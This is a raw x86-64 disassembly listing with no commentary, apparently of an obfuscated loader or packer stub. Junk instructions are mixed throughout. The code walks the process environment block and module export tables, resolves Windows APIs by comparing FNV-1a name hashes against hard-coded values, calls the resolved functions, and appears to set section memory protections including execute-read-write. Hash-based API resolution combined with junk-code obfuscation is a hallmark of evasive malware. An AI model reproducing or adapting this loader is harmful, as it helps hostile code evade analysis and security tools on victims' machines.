add rax, r11
or r9d, r8d
mov qword [0x14002d188], rax
xor ebx, ebx
not cl
mov rcx, qword [rsp + 0x58]
cqo
lea rbp, [r15 + 0x30]
movzx r9d, r15w
not r9w
movsx r8, si
mov r9d, 0x340
movsx rdx, ax
movzx r8d, bp
mov qword [rsp + 0x20], rbx
movzx r8, si
cqo
jmp 0x1405f7623
lea r8, [0x14000db20]
movzx rdx, r10w
not dl
mov rdx, rbp
jmp 0x1405f7638
mov rcx, qword [rcx]
jmp 0x1405f7640
call rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
shld ax, r9w, 0x8d
mov rax, qword [rcx + 0x18]
shl r11b, cl
sbb r11b, 0xbc
mov rsi, qword [rax + 0x10]
bt r11w, 0x5d
mov r11, qword [rsi + 0x30]
xchg rdi, rdi
movsxd rax, dword [r11 + 0x3c]
sar dil, cl
shld di, sp, 0x37
mov edi, dword [rax + r11 + 0x88]
cmc
jmp 0x1405f768b
lea rdi, [rdi + r11]
cmp r9d, 0x726d7546
cmp r11b, r14b
test r11, rsp
cmp rdi, r11
je 0x1405f775d
mov ebx, dword [rdi + 0x18]
cmc
xor r10d, r10d
test bl, ch
jmp 0x1405f76b4
test ebx, ebx
je 0x1405f775d
mov r9d, dword [rdi + 0x20]
jmp 0x1405f76c5
lea r9, [r9 + r11]
cwd
xadd dl, al
bts edx, r8d
nop dword [rax]
ror dl, 0xad
clc
mov edx, dword [r9]
xor r8d, r8d
rol al, 0xa5
add rdx, r11
movzx ax, r15b
sub al, 0x2d
movzx eax, byte [rdx]
clc
jmp 0x1405f76f9
test al, al
jmp 0x1405f7700
je 0x1405f7746
movsx ecx, al
cbw
dec al
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
xor rcx, r8
imul r8, rcx, 0x1000193
clc
cmp esp, 0x7835324d
test al, al
jne 0x1405f7706
movabs rax, 0xfb7bcb196de78fb9
stc
cmp r8, rax
jmp 0x1405f7740
je 0x1405f776a
inc r10d
cmc
stc
add r9, 4
cmp r10d, ebx
jmp 0x1405f7757
jb 0x1405f76dd
mov rsi, qword [rsi]
jmp 0x1405f7765
jmp 0x1405f766a
mov eax, dword [rdi + 0x24]
xor ebx, ebx
rcl dh, cl
adc dx, 0x4a7e
mov ecx, dword [rdi + 0x1c]
adc dh, 0xb0
rcr rdx, 0x74
add rax, r11
movsx edx, r11w
mov qword [rsp + 0x48], rbx
lea rcx, [rcx + r11]
xor r9d, r9d
sub r8d, r8d
and dl, bpl
movzx edx, word [rax + r10*2]
shl ax, cl
dec al
mov eax, dword [rcx + rdx*4]
bswap cx
shld rcx, rbp, 0x9c
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
or cl, bpl
lea rax, [rax + r11]
test r10b, sil
dec ch
stc
mov qword [rsp + 0x38], r15
shrd rcx, rdi, 0x96
or cx, r9w
inc cl
xor edx, edx
movsx cx, r10b
xchg cl, cl
mov qword [rsp + 0x30], rbp
movsxd rbp, r10d
mov rbp, qword [rsp + 0x58]
mov cx, r12w
movzx rcx, r8w
xchg ch, cl
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
bswap ecx
movsx rcx, di
xchg rcx, rcx
mov rcx, qword [rbp]
jmp 0x1405f7811
call rax
cmp qword [rsp + 0x60], rbx
jmp 0x1405f781d
jne 0x1405f7bdc
mov rax, qword [0x14002d200]
sar sil, cl
movabs rsi, 0xb27247cff1a8054c
test rax, rax
jne 0x1405f79bf
mov rax, qword gs:[0x30]
and r11, 0x206e21b7
mov rcx, qword [rax + 0x60]
or al, 0xaa
xadd r14w, r11w
mov rax, qword [rcx + 0x18]
mov r14, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
or r11, 0x4998159b
jmp 0x1405f787e
mov r11, qword [r14 + 0x30]
clc
movsxd rax, dword [r11 + 0x3c]
and dil, 0x5b
mov edi, dword [rax + r11 + 0x88]
clc
cmp r14, rbp
add rdi, r11
cmp rdi, r11
je 0x1405f7972
mov ebx, dword [rdi + 0x18]
test dl, sil
xor r10d, r10d
clc
test r14b, 0xdc
jmp 0x1405f78b6
test ebx, ebx
jmp 0x1405f78bd
je 0x1405f7972
mov r9d, dword [rdi + 0x20]
sar al, cl
lea r9, [r9 + r11]
mov dl, r12b
adc dx, 0x7a7a
nop dword [rax]
sub rax, 0x49c108e5
mov edx, dword [r9]
adc rax, rdi
cmp r13, r10
sub r8d, r8d
movsx ax, ah
cwde
sub ax, 0x4d32
lea rdx, [rdx + r11]
movzx eax, byte [rdx]
test cl, r8b
test al, al
jmp 0x1405f7909
je 0x1405f7955
movsx ecx, al
lea rdx, [rdx + 1]
sar ax, 0x8f
movzx eax, byte [rdx]
test sil, 0xd1
xor rcx, r8
movsx r8w, r8b
movzx r8w, r9b
imul r8, rcx, 0x1000193
clc
cmp r10b, 0x80
test al, al
jmp 0x1405f7941
jne 0x1405f790f
cmp r8, rsi
jmp 0x1405f794f
je 0x1405f797f
inc r10d
add r9, 4
test rdx, r8
jmp 0x1405f7964
cmp r10d, ebx
jmp 0x1405f796c
jb 0x1405f78e3
mov r14, qword [r14]
jmp 0x1405f797a
jmp 0x1405f787e
mov eax, dword [rdi + 0x24]
neg ch
movsx edx, dx
movsx r9w, r12b
mov ecx, dword [rdi + 0x1c]
add rax, r11
sal r9b, 0xc3
not dx
lea rcx, [rcx + r11]
movzx edx, word [rax + r10*2]
mov eax, dword [rcx + rdx*4]
mov dx, 0x153e
btr rdx, 0xc6
dec ch
lea rax, [rax + r11]
mov qword [0x14002d200], rax
cmovne r9, rbp
mov rcx, qword [rbp]
movsxd rdx, r10d
mov r9d, 0x8000
mov dl, r12b
movsx rdx, r12w
xor r8d, r8d
setg dl
mov rdx, r15
jmp 0x1405f79e1
call rax
mov rax, qword [0x14002d200]
test rax, rax
jmp 0x1405f79f2
jne 0x1405f7bac
mov rax, qword gs:[0x30]
adc cl, dil
cmp esi, r15d
add di, 0x35a0
mov rcx, qword [rax + 0x60]
cmp bx, r10w
mov rax, qword [rcx + 0x18]
bts edi, esi
mov r14, qword [rax + 0x10]
rol ax, 0x28
nop dword [rax]
btc rdi, rbp
neg r11b
rol ax, 0x84
nop word [rax + rax]
movsx eax, dx
mov r11, qword [r14 + 0x30]
btc edi, r8d
add al, 0x1a
sub di, 0x4dc0
movsxd rax, dword [r11 + 0x3c]
add dil, 0xc2
rcl rdi, cl
mov edi, dword [rax + r11 + 0x88]
lea rdi, [rdi + r11]
test bh, dh
cmp rdi, r11
jmp 0x1405f7a6e
je 0x1405f7b43
mov ebx, dword [rdi + 0x18]
test r13b, 0xfa
xor r10d, r10d
cmc
test ebx, ebx
jmp 0x1405f7a86
je 0x1405f7b43
mov r9d, dword [rdi + 0x20]
dec ah
add r9, r11
sub dl, 0x7a
nop dword [rax]
xadd edx, eax
xor al, r10b
bsr rdx, r13
mov edx, dword [r9]
adc rax, 0x3a9e70de
sub r8d, r8d
shl eax, 0x77
jmp 0x1405f7abe
lea rdx, [rdx + r11]
and al, spl
movzx eax, byte [rdx]
cmp r14, rdx
stc
test r15d, 0xd985c56
test al, al
jmp 0x1405f7ada
je 0x1405f7b22
movsx ecx, al
lea rdx, [rdx + 1]
movsx eax, ax
shr ah, cl
bsr ax, si
movzx eax, byte [rdx]
xor rcx, r8
sal r8b, cl
rcr r8w, cl
inc r8d
imul r8, rcx, 0x1000193
test al, al
jmp 0x1405f7b0e
jne 0x1405f7ae0
cmp r8, rsi
jmp 0x1405f7b1c
je 0x1405f7b50
inc r10d
add r9, 4
cmp r15w, 0x41e4
test ebx, 0x511d34f8
cmp r10d, ebx
jmp 0x1405f7b3d
jb 0x1405f7aa9
mov r14, qword [r14]
jmp 0x1405f7b4b
jmp 0x1405f7a3e
mov eax, dword [rdi + 0x24]
sbb dh, 0x5f
or dl, 0xca
add r9b, 0x1b
mov ecx, dword [rdi + 0x1c]
movsx rdx, si
lea rax, [rax + r11]
sar dx, cl
btr r9, 0x64
btc r9w, cx
lea rcx, [rcx + r11]
adc edx, r15d
btr dx, sp
ror r9b, cl
movzx edx, word [rax + r10*2]
adc r9, 0x1d842f3d
mov eax, dword [rcx + rdx*4]
add rax, r11
rol rdx, cl
bts r9w, sp
mov qword [0x14002d200], rax
ror cx, 0x94
cmp r15b, 0x20
mov rdx, qword [rsp + 0x50]
bswap r9w
sub r9w, di
mov r9d, 0x8000
mov rcx, qword [rbp]
xor r8d, r8d
jmp 0x1405f7bcb
call rax
mov eax, 5
jmp 0x1405f7bd7
jmp 0x1405f63bf
cmp dword [rsp + 0x98], 0x103
jmp 0x1405f7bec
jne 0x1405f7ffd
nop dword [rax + rax]
mov rax, qword [0x14002d168]
stc
jmp 0x1405f7c04
test rax, rax
jmp 0x1405f7c0c
jne 0x1405f7dd7
mov rax, qword gs:[0x30]
sbb sil, bl
sal r11b, 0x18
mov rcx, qword [rax + 0x60]
sal rdi, cl
test esi, 0x4dab7405
mov rax, qword [rcx + 0x18]
xadd sil, dil
mov rsi, qword [rax + 0x10]
cmc
nop word [rax + rax]
movzx r11w, r10b
mov r11, qword [rsi + 0x30]
bt rax, 0x19
movsxd rax, dword [r11 + 0x3c]
bsf rdi, r9
cmovns di, r14w
bt rdi, 0x70
mov edi, dword [rax + r11 + 0x88]
test r12b, 0xdb
cmc
add rdi, r11
cmp rdi, r11
jmp 0x1405f7c7f
je 0x1405f7d6e
mov ebx, dword [rdi + 0x18]
rol r10w, 0xec
xor eax, eax
adc r10, rax
mov r10d, eax
jmp 0x1405f7c9b
test ebx, ebx
je 0x1405f7d6e
mov r9d, dword [rdi + 0x20]
setns dl
movzx r8w, sil
btc r8d, edx
add r9, r11
shr dx, 0x83
nop dword [rax + rax]
mov edx, dword [r9]
mov r8, rax
bt ax, 0xb6
add rdx, r11
bsr ax, r10w
movzx eax, byte [rdx]
test al, al
je 0x1405f7d3d
movsx ecx, al
bswap eax
and rax, 0x43a16684
lea rdx, [rdx + 1]
or ah, 0xfd
test dil, bpl
movzx eax, byte [rdx]
xor rcx, r8
imul r8, rcx, 0x1000193
test r12b, 0xf5
clc
cmp cl, r14b
test al, al
jmp 0x1405f7d0f
jne 0x1405f7cdd
movabs rax, 0x86933480f6cf7efd
jmp 0x1405f7d2f
cmp r8, rax
jmp 0x1405f7d37
je 0x1405f7d7b
inc r10d
add ax, 0x68f6
sal ax, cl
ror al, cl
add r9, 4
btc rax, rdi
movsx eax, ax
sal al, cl
mov eax, 0
cmp r13b, 2
clc
cmp r10d, ebx
jmp 0x1405f7d68
jb 0x1405f7cbf
mov rsi, qword [rsi]
jmp 0x1405f7d76
jmp 0x1405f7c4c
mov ecx, dword [rdi + 0x24]
xor al, r8b
lea rcx, [rcx + r11]
movzx edx, r10w
adc dx, 0x1837
rol edx, cl
mov edx, r10d
movsx r8d, bx
or ax, dx
sbb eax, eax
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [rdi + 0x1c]
cwde
add rcx, r11
bt ax, r11w
movsxd rax, r8d
mov eax, dword [rcx + r8*4]
cqo
xadd dh, dl
test r15w, cx
add rax, r11
movsx dx, bh
movzx rcx, r9w
mov qword [0x14002d168], rax
movsx rcx, sp
movzx ecx, r15w
mov rcx, qword [rsp + 0x60]
setp dh
lea rdx, [rsp + 0x98]
jmp 0x1405f7dec
call rax
mov rax, qword [0x14002d288]
test rax, rax
jne 0x1405f7fdb
mov rax, qword gs:[0x30]
cmc
mov rcx, qword [rax + 0x60]
shrd si, bp, 0x40
and rdi, 0x14b01ccb
sal si, cl
mov rax, qword [rcx + 0x18]
shr r11b, cl
mov rsi, qword [rax + 0x10]
movzx r11d, bx
rcl dil, 0x78
adc r11b, dl
nop dword [rax]
setg al
nop word [rax + rax]
bswap rdi
mov r11, qword [rsi + 0x30]
rol al, cl
shr ax, 0xe4
rcr di, cl
movsxd rax, dword [r11 + 0x3c]
bsf di, r10w
dec di
mov edi, dword [rax + r11 + 0x88]
clc
lea rdi, [rdi + r11]
test r13w, 0x28a7
stc
cmp bx, 0x1108
cmp rdi, r11
jmp 0x1405f7e7e
je 0x1405f7f81
mov ebx, dword [rdi + 0x18]
xor r10b, 0x17
shr r10b, cl
shl r10, 0xfd
xor eax, eax
bt r10w, r8w
neg r10b
mov r10d, eax
cmc
test r8d, r12d
jmp 0x1405f7ea8
test ebx, ebx
jmp 0x1405f7eaf
je 0x1405f7f81
mov r9d, dword [rdi + 0x20]
bt r8d, r13d
lea r9, [r9 + r11]
cmc
sar r8b, 0x47
add dl, r14b
nop dword [rax + rax]
movzx r8w, bpl
mov edx, dword [r9]
bts r8w, di
cmc
mov r8, rax
bts ax, r13w
bswap eax
lea rdx, [rdx + r11]
movzx eax, byte [rdx]
jmp 0x1405f7ef2
test al, al
jmp 0x1405f7ef9
je 0x1405f7f56
movsx ecx, al
btr ax, r8w
shrd rax, rcx, 0xba
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
jmp 0x1405f7f1f
xor rcx, r8
inc r8w
imul r8, rcx, 0x1000193
cmc
clc
test al, al
jmp 0x1405f7f36
jne 0x1405f7eff
movabs rax, 0x4690717567faad93
cmc
clc
cmp r8, rax
jmp 0x1405f7f50
je 0x1405f7f8e
inc r10d
bts ax, r14w
add r9, 4
rcr al, 0x29
sbb ax, r9w
test r14b, r9b
mov eax, 0
cmc
stc
cmp r10d, ebx
jmp 0x1405f7f7b
jb 0x1405f7ed3
mov rsi, qword [rsi]
jmp 0x1405f7f89
jmp 0x1405f7e44
mov ecx, dword [rdi + 0x24]
bt r8, r14
shrd ax, r8w, 0xf7
lea rcx, [rcx + r11]
xor r8, 0x12435327
mov edx, r10d
movzx r8d, r8w
clc
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [rdi + 0x1c]
sar ax, cl
inc al
add rcx, r11
and al, r8b
stc
rcr eax, cl
mov eax, dword [rcx + r8*4]
add rax, r11
jmp 0x1405f7fd4
mov qword [0x14002d288], rax
mov ecx, 0x64
jmp 0x1405f7fe5
call rax
cmp dword [rsp + 0x98], 0x103
jmp 0x1405f7ff7
je 0x1405f7bf7
mov rax, qword [0x14002d270]
cmp r9b, dil
test rax, rax
jne 0x1405f818a
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cdqe
stc
xor sil, r14b
mov rax, qword [rcx + 0x18]
rol r11, cl
rol si, 0xc0
mov sil, r15b
mov rsi, qword [rax + 0x10]
bsf r11w, r10w
add di, bp
xchg r11w, di
nop dword [rax]
cmp al, r11b
mov r11, qword [rsi + 0x30]
or ah, 0xc2
bts edi, ebx
xchg rdi, rdi
movsxd rax, dword [r11 + 0x3c]
btr rdi, rsp
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
test rax, r14
jmp 0x1405f8070
cmp rdi, r11
je 0x1405f813a
mov ebx, dword [rdi + 0x18]
sub r10d, r10d
test r10b, r10b
jmp 0x1405f8087
test ebx, ebx
je 0x1405f813a
mov r9d, dword [rdi + 0x20]
bsf dx, sp
lea r9, [r9 + r11]
sub rax, 0x2cde3c39
nop dword [rax]
shld dx, di, 0xc
mov edx, dword [r9]
mov eax, 0x50db38d4
sub r8d, r8d
sbb ax, 0x57de
xor ah, 0xea
lea rdx, [rdx + r11]
movzx eax, byte [rdx]
clc
test r13d, 0x5a881cd5
test al, al
jmp 0x1405f80d6
je 0x1405f8126
movsx ecx, al
lea rdx, [rdx + 1]
sal ax, 0x56
movzx eax, byte [rdx]
cmp r8, rbx
xor rcx, r8
bts r8w, di
imul r8, rcx, 0x1000193
cmp r11b, 0x18
clc
test al, al
jne 0x1405f80dc
movabs rax, 0x65b20eb9f8ccfbca
jmp 0x1405f8118
cmp r8, rax
jmp 0x1405f8120
je 0x1405f8147
inc r10d
add r9, 4
test dil, r10b
clc
cmp r10d, ebx
jb 0x1405f80ae
mov rsi, qword [rsi]
jmp 0x1405f8142
jmp 0x1405f8048
mov eax, dword [rdi + 0x24]
cqo
mov ecx, dword [rdi + 0x1c]
bt dx, r12w
lea rax, [rax + r11]
neg dh
rcr dx, 0xec
lea rcx, [rcx + r11]
movzx edx, word [rax + r10*2]
cmc
xor ax, 0x14ec
btr eax, eax
mov eax, dword [rcx + rdx*4]
bt rcx, 0xf1
btc cx, ax
add rax, r11
bswap ecx
mov qword [0x14002d270], rax
cmove ecx, edx
mov rcx, qword [rsp + 0x60]
jmp 0x1405f8194
call rax
mov rax, qword [0x14002d200]
stc
test rax, rax
jmp 0x1405f81a6
jne 0x1405f8343
mov rax, qword gs:[0x30]
movabs rsi, 0xb27247cff1a8054c
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
or r14b, sil
or r14w, 0x647f
bsf r14w, r14w
mov r14, qword [rax + 0x10]
shl dil, 0x11
nop dword [rax]
and ax, si
sar r11w, cl
mov r11, qword [r14 + 0x30]
cmc
cbw
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
lea rdi, [rdi + r11]
cmp esp, 0x6d5c5e8a
cmp rdi, r11
jmp 0x1405f820d
je 0x1405f82e6
mov ebx, dword [rdi + 0x18]
test edx, 0x211b707d
sub r10d, r10d
test r11, r9
test ebx, ebx
jmp 0x1405f8229
je 0x1405f82e6
mov r9d, dword [rdi + 0x20]
jmp 0x1405f823f
lea r9, [r9 + r11]
test cl, r8b
nop dword [rax]
ror dh, 0xf5
shl eax, 0x45
or ah, 0xa
mov edx, dword [r9]
movsx ax, r14b
xor r8d, r8d
sal al, cl
lea rdx, [rdx + r11]
setae al
sbb rax, rdi
movzx eax, byte [rdx]
clc
jmp 0x1405f8279
test al, al
je 0x1405f82c3
movsx ecx, al
cmp r12b, r11b
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test esp, 0x2e9b72ea
xor rcx, r8
xor r8w, r9w
or r8w, 0x526f
dec r8b
imul r8, rcx, 0x1000193
clc
cmp r14w, 0x5f71
test al, al
jne 0x1405f8281
cmp r8, rsi
je 0x1405f82f3
inc r10d
jmp 0x1405f82cf
add r9, 4
cmp spl, 0xb9
clc
cmp r10d, ebx
jmp 0x1405f82e0
jb 0x1405f8256
mov r14, qword [r14]
jmp 0x1405f82ee
jmp 0x1405f81e8
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
movsx r14w, sil
adc r14d, r12d
lea rax, [rax + r11]
cdq
add r9w, cx
bsf r14, rsi
mov r14, qword [rsp + 0x50]
jmp 0x1405f8318
lea rcx, [rcx + r11]
ror dl, cl
movzx edx, word [rax + r10*2]
mov eax, dword [rcx + rdx*4]
movzx rdx, r13w
lea rax, [rax + r11]
btc r9d, r14d
jmp 0x1405f8337
mov qword [0x14002d200], rax
cdq
btr ecx, 0x2b
mov rcx, qword [rbp]
mov r9d, 0x8000
clc
sub r8d, r8d
cqo
cmova dx, r9w
mov rdx, r15
jmp 0x1405f8360
call rax
mov rax, qword [0x14002d298]
cmp r10d, 0x5c60b48
cmp dl, r12b
test rax, rax
jmp 0x1405f837b
jne 0x1405f8511
mov rax, qword gs:[0x30]
bsf bp, r10w
rcl ch, 0xaa
rcl r11w, cl
movabs rbp, 0x7ceeb055148c88c
ror dil, cl
btc esi, r15d
test r9b, 0x1e
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + 0x10]
mov r11b, r8b
cwde
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
or edi, 0x2c784e59
test edx, 0x79b213f1
bt ax, 0xba
movsxd rax, dword [r11 + 0x3c]
btc edi, esi
dec dil
test ax, 0x684e
mov edi, dword [rax + r11 + 0x88]
clc
add rdi, r11
cmp rdi, r11
jmp 0x1405f8400
je 0x1405f84c3
mov ebx, dword [rdi + 0x18]
test sil, 0x58
xor r10d, r10d
cmp bl, r11b
stc
test ebx, ebx
jmp 0x1405f841b
je 0x1405f84c3
mov r9d, dword [rdi + 0x20]
btc edx, 0x2c
movsx edx, r10w
lea r9, [r9 + r11]
stc
or dl, dl
nop dword [rax]
sal dx, cl
mov edx, dword [r9]
rol eax, cl
rcl ax, cl
sub r8d, r8d
add rdx, r11
btr eax, r12d
test r14d, r8d
movzx eax, byte [rdx]
test r11d, 0x11566da5
test al, al
je 0x1405f84a8
movsx ecx, al
sal rax, cl
cmp bl, spl
lea rdx, [rdx + 1]
dec ax
movzx eax, byte [rdx]
cmc
xor rcx, r8
imul r8, rcx, 0x1000193
cmp di, 0x3dd
jmp 0x1405f848d
test al, al
jmp 0x1405f8494
jne 0x1405f8465
cmp r8, rbp
jmp 0x1405f84a2
je 0x1405f84d0
inc r10d
stc
jmp 0x1405f84b1
add r9, 4
cmp r10d, ebx
jmp 0x1405f84bd
jb 0x1405f843e
mov rsi, qword [rsi]
jmp 0x1405f84cb
jmp 0x1405f83c9
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
bswap dx
add rax, r11
lea rcx, [rcx + r11]
bts dx, cx
movzx edx, word [rax + r10*2]
cmc
adc eax, 0x72b6110
cmova eax, esi
mov eax, dword [rcx + rdx*4]
btc rcx, r14
xor ecx, 0x4a222b00
add rax, r11
movsxd rcx, r8d
movzx cx, r9b
mov qword [0x14002d298], rax
mov ecx, dword [r13 + 0x54]
jmp 0x1405f851a
call rax
mov r8d, dword [r13 + 0x54]
adc bpl, 0x81
rcr bpl, 0xdf
sub rbp, rdx
mov rbp, rax
cmp ebx, r8d
stc
test r8d, r8d
jmp 0x1405f853a
je 0x1405f8551
xor edx, edx
cmovs cx, si
xchg cx, cx
mov rcx, rax
call fcn.1400258e4
mov r10, qword [0x14002d188]
test r10, r10
jmp 0x1405f8560
jne 0x1405f86e4
mov rax, qword gs:[0x30]
sub sil, r14b
sal r11, cl
movzx edi, r9w
mov rcx, qword [rax + 0x60]
or esi, r13d
xchg rdi, rdi
bsf rax, rbp
mov rax, qword [rcx + 0x18]
bswap rsi
btr si, 0xe9
test r13b, spl
mov rsi, qword [rax + 0x10]
clc
nop dword [rax]
stc
inc r11b
mov r11, qword [rsi + 0x30]
sar dil, cl
xor al, r12b
sub dil, dl
movsxd rax, dword [r11 + 0x3c]
rcr di, cl
shr dil, 0xfd
mov edi, dword [rax + r11 + 0x88]
clc
cmp esi, 0x68cd398d
stc
lea rdi, [rdi + r11]
jmp 0x1405f85d4
cmp rdi, r11
jmp 0x1405f85dc
je 0x1405f8697
mov ebx, dword [rdi + 0x18]
test r8d, esi
sub r10d, r10d
test rdx, 0x355c2df5
test ebx, ebx
je 0x1405f8697
mov r9d, dword [rdi + 0x20]
cmc
add r9, r11
btr rdx, r8
nop dword [rax]
movzx eax, r14w
ror eax, cl
mov edx, dword [r9]
xor r8d, r8d
movsx eax, ax
mov eax, 0x621c7aaa
add rdx, r11
shr eax, cl
lahf
movsxd rax, r11d
movzx eax, byte [rdx]
test al, r10b
stc
test al, al
je 0x1405f8683
movsx ecx, al
lea rdx, [rdx + 1]
sub ah, 0xa4
movzx eax, byte [rdx]
cmc
xor rcx, r8
cmc
imul r8, rcx, 0x1000193
cmc
cmp sp, 0x587b
test al, al
jmp 0x1405f865f
jne 0x1405f8639
movabs rax, 0x8f6468996478c7bf
stc
jmp 0x1405f8675
cmp r8, rax
jmp 0x1405f867d
je 0x1405f86a4
inc r10d
add r9, 4
test r12b, 0x5f
cmp r10d, ebx
jb 0x1405f8613
mov rsi, qword [rsi]
jmp 0x1405f869f
jmp 0x1405f85a2
mov eax, dword [rdi + 0x24]
jmp 0x1405f86ac
mov ecx, dword [rdi + 0x1c]
lea rax, [rax + r11]
bsf r15d, esp
movzx dx, bh
lea rcx, [rcx + r11]
shl r9, cl
cdq
movzx edx, word [rax + r10*2]
mov r10d, dword [rcx + rdx*4]
adc dl, r13b
cmp edi, edx
add r10, r11
mov qword [0x14002d188], r10
movsx dx, r9b
mov r8b, cl
cdq
mov r15, qword [rsp + 0x58]
movsxd r9, r15d
sets cl
mov r8, rbp
movzx ecx, r13w
cqo
bswap r9
mov r9d, dword [r13 + 0x54]
mov rdx, r14
mov qword [rsp + 0x20], 0
movsx rcx, ax
mov rcx, qword [r15]
jmp 0x1405f8717
call r10
mov rax, qword [0x14002d210]
test rax, rax
jne 0x1405f88c2
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
or edi, ecx
movzx rsi, si
mov sil, r13b
mov rsi, qword [rax + 0x10]
xchg r11w, r11w
shl dil, 0xa5
nop word [rax + rax]
bsr ax, bp
mov r11, qword [rsi + 0x30]
cmc
movsxd rax, dword [r11 + 0x3c]
bts rdi, rdi
mov edi, dword [rax + r11 + 0x88]
cmp bx, 0x26ce
test r12b, bpl
lea rdi, [rdi + r11]
jmp 0x1405f8780
cmp rdi, r11
jmp 0x1405f8788
je 0x1405f8864
mov ebx, dword [rdi + 0x18]
cmc
test r13b, r12b
xor r10d, r10d
test ebx, ebx
jmp 0x1405f879f
je 0x1405f8864
mov r9d, dword [rdi + 0x20]
rol rdx, 0x7d
and dl, dl
cdq
lea r9, [r9 + r11]
shr ah, cl
nop dword [rax]
mov edx, dword [r9]
and al, r11b
cwde
xor r8d, r8d
movsxd rax, r14d
add rdx, r11
xor ax, r11w
movzx eax, byte [rdx]
test esp, 0x36cf5de5
cmc
test al, al
jmp 0x1405f87e2
je 0x1405f884f
movsx ecx, al
dec ax
shrd ax, di, 0x36
sal ah, 0xe5
lea rdx, [rdx + 1]
cbw
test r15w, 0xbf0
cmc
movzx eax, byte [rdx]
test cl, r14b
xor rcx, r8
shr r8d, cl
ror r8d, 0xc0
rcl r8b, 0xbe
imul r8, rcx, 0x1000193
cmc
cmp sil, r13b
jmp 0x1405f8827
test al, al
jmp 0x1405f882e
jne 0x1405f87e8
movabs rax, 0x19c0f48bf548020e
test r13d, edx
cmp r8, rax
jmp 0x1405f8849
je 0x1405f8871
inc r10d
test r11b, 0x47
stc
add r9, 4
cmp r10d, ebx
jb 0x1405f87bd
mov rsi, qword [rsi]
jmp 0x1405f886c
jmp 0x1405f875a
mov eax, dword [rdi + 0x24]
rcr rdx, cl
test al, dl
rol cx, 0x59
mov ecx, dword [rdi + 0x1c]
add rax, r11
movsxd rdx, ecx
shrd edx, r8d, 0x65
lea rcx, [rcx + r11]
sub dh, al
or dl, 0x6e
movzx edx, word [rax + r10*2]
shld rax, rax, 0x2b
mov eax, dword [rcx + rdx*4]
cmc
mov cx, cx
bts rcx, rbx
add rax, r11
mov rcx, r8
movsx rcx, sp
setle ch
mov qword [0x14002d210], rax
movsx cx, dil
mov rcx, rbp
jmp 0x1405f88ca
call rax
mov rax, qword [0x14002d1f0]
cmp r11, 0x5c2174a
test rax, rax
jmp 0x1405f88e2
jne 0x1405f8a4b
mov rax, qword gs:[0x30]
rcl r11b, 0xe7
mov rcx, qword [rax + 0x60]
sbb r11w, r12w
mov rax, qword [rcx + 0x18]
movsx esi, bx
movsx si, dl
mov rsi, qword [rax + 0x10]
mov r11, qword [rsi + 0x30]
cmc
movsxd rax, dword [r11 + 0x3c]
setl dil
or di, bx
mov edi, dword [rax + r11 + 0x88]
lea rdi, [rdi + r11]
cmp r14b, r13b
cmp bp, 0x62ce
cmp rdi, r11
je 0x1405f89ff
mov ebx, dword [rdi + 0x18]
cmp r12w, r12w
test r15b, 0x73
sub r10d, r10d
test ebx, ebx
je 0x1405f89ff
mov r9d, dword [rdi + 0x20]
lea r9, [r9 + r11]
nop dword [rax]
cmp dil, 0x3f
movzx eax, bp
mov edx, dword [r9]
sar ax, cl
sub r8d, r8d
not ah
lea rdx, [rdx + r11]
cmovs ax, r12w
movzx eax, byte [rdx]
test r11b, 0xfd
test r13b, r8b
test al, al
jmp 0x1405f898a
je 0x1405f89e5
movsx ecx, al
bts eax, r10d
mov al, r15b
lea rdx, [rdx + 1]
rcr eax, 0xbb
movzx eax, byte [rdx]
test spl, 0x57
xor rcx, r8
btc r8d, r12d
imul r8, rcx, 0x1000193
cmc
stc
clc
test al, al
jmp 0x1405f89c0
jne 0x1405f8990
movabs rax, 0x2516c627897eb827
cmp r13b, dl
cmp r12b, 0xc8
cmp r8, rax
jmp 0x1405f89df
je 0x1405f8a0c
inc r10d
clc
add r9, 4
test bl, r13b
stc
cmp r10d, ebx
jmp 0x1405f89f9
jb 0x1405f8965
mov rsi, qword [rsi]
jmp 0x1405f8a07
jmp 0x1405f890c
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
cmc
lea rax, [rax + r11]
add rcx, r11
stc
xor r8b, 0xc8
cdq
movzx edx, word [rax + r10*2]
not r9w
mov eax, dword [rcx + rdx*4]
cdq
add rax, r11
mov dh, 0xb1
movsxd r9, r14d
bswap r8w
mov qword [0x14002d1f0], rax
bswap dx
cqo
jmp 0x1405f8a4b
mov r8d, dword [r13 + 0x54]
movzx edx, sp
movsx rcx, cx
xchg r9d, r9d
lea rcx, [rsp + 0x9c]
cqo
mov qword [rsp + 0x20], rcx
movzx r9d, bx
movzx cx, bh
mov r9d, 1
mov rcx, qword [r15]
mov rdx, r14
jmp 0x1405f8a81
call rax
sub r8d, r8d
mov r15d, r8d
cmp r8w, word [r13 + 6]
jmp 0x1405f8a93
jae 0x1405f8d1a
lea edx, [r8 + 0x20]
btr ax, 0x51
nop word [rax + rax]
mov eax, r15d
movsx cx, r12b
bts r14, rbp
xchg r14, rcx
lea rcx, [rax + rax*4]
cwde
mov al, bpl
mov eax, dword [r12 + rcx*8 + 0x24]
lea r14, [r12 + rcx*8]
bt eax, 0x1d
jmp 0x1405f8ad1
jae 0x1405f8b04
test eax, eax
jmp 0x1405f8ade
jns 0x1405f8aee
mov ebp, 0x40
jmp 0x1405f8b3e
bt eax, 0x1e
mov ebp, 0x10
jmp 0x1405f8afc
cmovb ebp, edx
jmp 0x1405f8b3e
